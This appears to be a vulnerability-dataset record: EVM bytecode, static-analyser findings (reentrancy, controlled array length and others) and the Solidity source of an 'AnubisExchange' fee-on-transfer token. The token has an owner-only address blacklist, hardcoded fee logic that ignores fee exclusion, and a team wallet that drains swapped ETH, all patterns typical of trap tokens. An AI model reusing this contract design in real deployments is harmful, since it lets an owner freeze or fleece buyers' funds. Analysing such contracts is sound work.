5b6127c081604051806060016040528060268152602001614dbd602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128ff9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612853816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129bf90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906129ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612971578082015181840152602081019050612956565b50505050905090810190601f16801561299e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015612a3d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000612bbf8373ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015612a9257600080fd5b505afa158015612aa6573d6000803e3d6000fd5b505050506040513d6020811015612abc57600080fd5b810190808051906020019092919050505060ff16600a0a612bb18473271bf4568fb737cc2e6277e9b1ee0034098cda2a73ffffffffffffffffffffffffffffffffffffffff16635708447d886040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015612b6857600080fd5b505afa158015612b7c573d6000803e3d6000fd5b505050506040513d6020811015612b9257600080fd5b810190808051906020019092919050505061456c90919063ffffffff16565b6145f290919063ffffffff16565b905060008111612c37576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f2176616c7565000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015612c9357600080fd5b505afa158015612ca7573d6000803e3d6000fd5b505050506040513d6020811015612cbd57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663e6a4390585306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b158015612d7e57600080fd5b505afa158015612d92573d6000803e3d6000fd5b505050506040513d6020811015612da857600080fd5b81019080805190602001909291905050509050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612f7557737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015612e4a57600080fd5b505afa158015612e5e573d6000803e3d6000fd5b505050506040513d6020811015612e7457600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c6539685306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b158015612f3757600080fd5b505af1158015612f4b573d6000803e3d6000fd5b505050506040513d6020811015612f6157600080fd5b810190808051906020019092919050505090505b612fa23382858773ffffffffffffffffffffffffffffffffffffffff166139a5909392919063ffffffff16565b612fac818361463c565b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561302b57600080fd5b505afa15801561303f573d6000803e3d6000fd5b505050506040513d602081101561305557600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff16636a627842306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156130e757600080fd5b505af11580156130fb573d6000803e3d6000fd5b505050506040513d602081101561311157600080fd5b81019080805190602001909291905050505060008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156131a257600080fd5b505afa1580156131b6573d6000803e3d6000fd5b505050506040513d60208110156131cc57600080fd5b810190808051906020019092919050505090506132806131f583836147f790919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129bf90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006133316127106133236133148a6118fc565b8861456c90919063ffffffff16565b6145f290919063ffffffff16565b90506133c281600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129bf90919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061344c338261463c565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208790806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f4e2ca0515ed1aef1395f66b5303bb5d6f1bf9d61a353fa53f73f8ac9973fa9f683898960405180848152602001838152602001828152602001935050505060405180910390a350505050505050565b6000811480613667575060008373ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b15801561362a57600080fd5b505afa15801561363e573d6000803e3d6000fd5b505050506040513d602081101561365457600080fd5b8101908080519060200190929190505050145b6136bc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526036815260200180614ec06036913960400191505060405180910390fd5b613788838473ffffffffffffffffffffffffffffffffffffffff1663095ea7b3905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050614841565b505050565b600080737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156137ea57600080fd5b505afa1580156137fe573d6000803e3d6000fd5b505050506040513d602081101561381457600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663e6a4390585306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b1580156138d557600080fd5b505afa1580156138e9573d6000803e3d6000fd5b505050506040513d60208110156138ff57600080fd5b81019080805190602001909291905050509050600061397061395f613922610ccd565b6139516139408861393288610eb8565b6129bf90919063ffffffff16565b61271061456c90919063ffffffff16565b6145f290919063ffffffff16565b6127106147f790919063ffffffff16565b9050600081141561398757611d4c9250505061399f565b611d4c8111613996578061399a565b611d4c5b925050505b92915050565b613aa5848573ffffffffffffffffffffffffffffffffffffffff166323b872dd905060e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050614841565b50505050565b613b77838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050614841565b505050565b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082821015613c8a578192505b613c943384614a8c565b613d2383600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147f790919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000613dca83613dbc868561456c90919063ffffffff16565b6145f290919063ffffffff16565b90506000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015613e2857600080fd5b505afa158015613e3c573d6000803e3d6000fd5b505050506040513d6020811015613e5257600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663e6a4390587306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b158015613f1357600080fd5b505afa158015613f27573d6000803e3d6000fd5b505050506040513d6020811015613f3d57600080fd5b81019080805190602001909291905050509050613f90737a250d5630b4cf539739df2c5dacb4c659f2488d60008373ffffffffffffffffffffffffffffffffffffffff1661356d9092919063ffffffff16565b613fcf737a250d5630b4cf539739df2c5dacb4c659f2488d838373ffffffffffffffffffffffffffffffffffffffff1661356d9092919063ffffffff16565b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561404e57600080fd5b505afa158015614062573d6000803e3d6000fd5b505050506040513d602081101561407857600080fd5b81019080805190602001909291905050509050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663baa2abde883086600080306140d7610708426129bf90919063ffffffff16565b6040518863ffffffff1660e01b8152600401808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019750505050505050506040805180830381600087803b1580156141ba57600080fd5b505af11580156141ce573d6000803e3d6000fd5b505050506040513d60408110156141e457600080fd5b810190808051906020019092919080519060200190929190505050505060008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561428057600080fd5b505afa158015614294573d6000803e3d6000fd5b505050506040513d60208110156142aa57600080fd5b810190808051906020019092919050505090506142d081836147f790919063ffffffff16565b9350848411156142de578493505b61436d84600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147f790919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008873ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561446c57600080fd5b505afa158015614480573d6000803e3d6000fd5b505050506040513d602081101561449657600080fd5b8101908080519060200190929190505050905060006144b430610eb8565b90506144c03082614a8c565b6144eb33838c73ffffffffffffffffffffffffffffffffffffffff16613aab9092919063ffffffff16565b8973ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167febff2602b3f468259e1e99f613fed6691f3a6526effe6ef3e768ba7ae7a36c4f8b848660405180848152602001838152602001828152602001935050505060405180910390a350505050505050505050565b60008083141561457f57600090506145ec565b600082840290508284828161459057fe5b04146145e7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180614de36021913960400191505060405180910390fd5b809150505b92915050565b600061463483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614c44565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156146df576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b6146f4816002546129bf90919063ffffffff16565b60028190555061474b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129bf90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600061483983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506128ff565b905092915050565b6148608273ffffffffffffffffffffffffffffffffffffffff16614d0a565b6148d2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b6020831061492157805182526020820191506020810190506020830392506148fe565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114614983576040519150601f19603f3d011682016040523d82523d6000602084013e614988565b606091505b509150915081614a00576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b600081511115614a8657808060200190516020811015614a1f57600080fd5b8101908080519060200190929190505050614a85576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180614e96602a913960400191505060405180910390fd5b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415614b12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180614e2c6021913960400191505060405180910390fd5b614b7d81604051806060016040528060228152602001614d79602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128ff9092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614bd4816002546147f790919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008083118290614cf0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015614cb5578082015181840152602081019050614c9a565b50505050905090810190601f168015614ce25780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581614cfc57fe5b049050809150509392505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f91506000801b8214158015614d4c5750808214155b9250505091905056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573735361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a723158204e37c5596e5719ccb3e74ff0660efcd9a51975628b40b3e180c3f24c85012bdd64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
10,223
0x906d134b3f027a9fd7341fbfbf40caefb59d0f91
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract AnubisExchange is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Anubis Exchange "; string private constant _symbol = " Anubis"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1) { _teamAddress = addr1; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 15); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
